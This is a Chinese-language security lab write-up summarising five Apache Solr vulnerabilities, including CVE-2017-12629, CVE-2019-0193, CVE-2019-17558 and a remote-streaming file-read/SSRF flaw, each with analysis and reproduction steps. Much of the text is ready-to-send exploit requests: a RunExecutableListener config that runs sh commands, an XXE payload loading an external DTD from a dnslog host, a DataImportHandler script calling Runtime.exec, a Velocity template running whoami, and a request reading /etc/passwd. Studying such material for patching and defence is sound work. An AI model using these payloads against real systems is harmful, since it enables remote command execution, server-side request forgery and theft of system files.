雷石|Apache_Solr漏洞总结
1.CVE-2017-12629 命令执行漏洞
漏洞简述:
原理大致是文档通过Http利用XML加到一个搜索集合中。查询该集合也是通过 http收到一个XML/JSON响应来实现。此次7.1.0之前版本总共爆出两个漏洞:XML实体扩展漏洞(XXE)和远程命令执行漏洞(RCE),二者可以连接成利用链,编号均为CVE-2017-12629。
影响版本:
Apache Solr < 7.1
漏洞分析:
漏洞点在RunExecutableListener类中exec(),这里使用Runtime.getRuntime().exec() 方法进行命令执行。
传入的参数在这里处理:
这里有两种方法均会调用exec()
而上述两种方法调用由提交的"event"参数决定
第一种UpdateHandler.class 类parseEventListeners()方法
"event"参数内容为 "postCommit"和"postimize"将调用postCommit()
需要二次请求/upload触发命令执行
第二种SolrCore.class 中initListeners()方法
event如果是:“firstSearcher”和 "newSearcher" 将调用newSearcher()方法直接执行命令
漏洞复现:
首先创建一个listener,其中设置exe的值为我们想执行的命令,args的值是命令参数
POST /solr/demo/config HTTP/1.1
Host: ip:8983
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 169
{"add-listener":{"event":"postCommit","name":"newlistener","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/"," args":["-c", "touch /tmp/cve-2017-12629"]}}
然后进行update操作,触发刚刚添加的listener
POST /solr/demo/update HTTP/1.1
Host: ip:8983
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 17
[{"id":"test"}]
一步执行
POST /solr/demo/config HTTP/1.1
Host: 172.16.1.182:8983
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 160
{"add-listener":{"event":"newSearcher","name":"rtener","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c", "echo 1 > /tmp/secxxx.txt"]}}
2.CVE-2017-12629 XML 实体注入漏洞
漏洞简述:
Solr 基于 HTTP 和 Apache Lucene 实现。Lucene在解析xml数据时,未设置任何防御措施,导致可引入恶意外部实体造成了XXE漏洞。
影响版本:
Apache Solr < 7.1
漏洞分析:
该漏洞其实是Lucene存在xxe漏洞,由于solr使用了Lucene既产生了漏洞。
漏洞点:
漏洞复现:
http://172.16.1.182:8983/solr/demo/select?&q=%3C%3fxml+version%3d%221.0%22+%3f%3E%3C!DOCTYPE+root[%3C!ENTITY+%25+ext+SYSTEM+%22http%3a%2f%2fx4m9pz.dnslog.cn%2f1.dtd%22%3E%25ext%3B%25ent%3B%5D%3E%3Cr%3E%26data%3B%3C%2Fr%3E&wt=xml&defType=xmlparser
http://172.16.1.182:8983/solr/demo/select?&q=<?xml+version="1.0"+?><!DOCTYPE+root[<!ENTITY+%+ext+SYSTEM+"http://xxxxxx/1.dtd">%ext;%ent;]><r>&data;</r>&wt=xml&defType=xmlparser
3.CVE-2019-0193 模板注入漏洞
漏洞简述:
Apache Solr的DataImportHandler模块是一个可选但常用的模块,用于从数据库和其他源中提取数据。由于DIH配置可以包含脚本,因此攻击者可以通过构造危险的请求,从而造成远程命令执行。
影响版本:
Apache Solr < 8.2.0
漏洞分析:
DataImportHandler用于从数据库和其他源中提取数据,它有一个特性即整个DIH配置可以来自一个请求的“dataConfig”参数。DIH管理的调试模式使用它来方便地调试DIH配置的开发。因为DIH配置可以包含script脚本,所以这个参数存在安全风险。
在handleRequestBody()函数中可看到接收了dataConfig参数,该漏洞原因是solr自身的模块有执行脚本的功能,而修复方法便是禁用debug模式。
从 Solr 的8.2.0版本开始,使用这个参数需要将 Java System 属性 enable.dih.dataConfigParam 设置为 true,此时也将存在该漏洞。
漏洞复现:
创建名为test的Coredocker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db然后在浏览器选择刚创建的核心,选择Dataimport〉 勾选debug〉Debug-Mode》 执行。
请求如下:
POST /solr/test/dataimport?_=1696728328091&indent=on&wt=json HTTP/1.1
Host: 172.16.1.182:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://172.16.1.182:8983/solr/
Content-type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 677
Origin: http://172.16.1.182:8983
Connection: close
command=full-import&verbose=false&clean=true&commit=true&debug=true&core=test&dataConfig=%3CdataConfig%3E%0A++%3CdataSource+type%3D%22URLDataSource%22%2F%3E%0A++%3Cscript%3E%3C!%5BCDATA%5B%0A++++++++++function+poc()%7B+java.lang.Runtime.getRuntime().exec(%22touch+%2Ftmp%2Fccccc1%22)%3B%0A++++++++++%7D%0A++%5D%5D%3E%3C%2Fscript%3E%0A++%3Cdocument%3E%0A++++%3Centity+name%3D%22stackoverflow%22%0A++++++++++++url%3D%22https%3A%2F%2Fstackoverflow.com%2Ffeeds%2Ftag%2Fsolr%22%0A++++++++++++processor%3D%22XPathEntityProcessor%22%0A++++++++++++forEach%3D%22%2Ffeed%22%0A++++++++++++transformer%3D%22script%3Apoc%22+%2F%3E%0A++%3C%2Fdocument%3E%0A%3C%2FdataConfig%3E&name=dataimport
4.CVE-2019-17558 命令执行漏洞
漏洞简述:
Apache Solr 5.0.0版本至8.3.1版本中存在输入验证错误漏洞。攻击者可借助Velocity模板利用该漏洞在系统上执行任意代码。
影响版本:
Apache Solr 5.0.0 ~8.3.1
漏洞分析:
该漏洞是在返回内容进行模板渲染的时产生了代码注入
在这里写入响应
调用
QueryResponseWriterUtil.writeQueryResponse
最后会到
VelocityResponseWriter#write创建velocity模板引擎,然后进入模版方法,触发漏洞。
漏洞复现:
params.resource.loader.enabled 默认情况下 未开启,可先通过如下API获取所有的核心。然后修改该项为true (vulhub中核心是demo)
要添加Content-Type头 指定:application/json
{
"update-queryresponsewriter": {
"startup": "lazy",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir": "",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
}
}
执行命令:
http://ip:8983/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
5.Remote-Streaming-Fileread (任意文件读取+SSRF)
漏洞简述:
Apache Solr未开启认证的情况下,攻击者可直接构造特定请求开启特定配置,并最终造成SSRF或任意文件读取.
影响版本:
Apache Solr <= 8.8.1均受影响
漏洞分析:
漏洞点
strs为获取前端传入值后 调用-ContentStreamBase#URLStream或FileStream
去读取文件和请求url
获取文件时,未对strs的值进行检查或过滤
漏洞复现:
通过config修改配置
POST /solr/demo/config HTTP/1.1
Host: 172.16.1.182:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/json
Upgrade-Insecure-Requests: 1
Content-Length: 82
{"set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}
读取文件:
POST /solr/demo/debug/dump?param=ContentStreams HTTP/1.1
Host: 172.16.1.182:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
Content-Length: 29
stream.url=file:///etc/passwd
SSRF
改为http协议
雷石安全实验室
商务咨询:
0571-87031601
商务邮箱:
mtn@motanni.com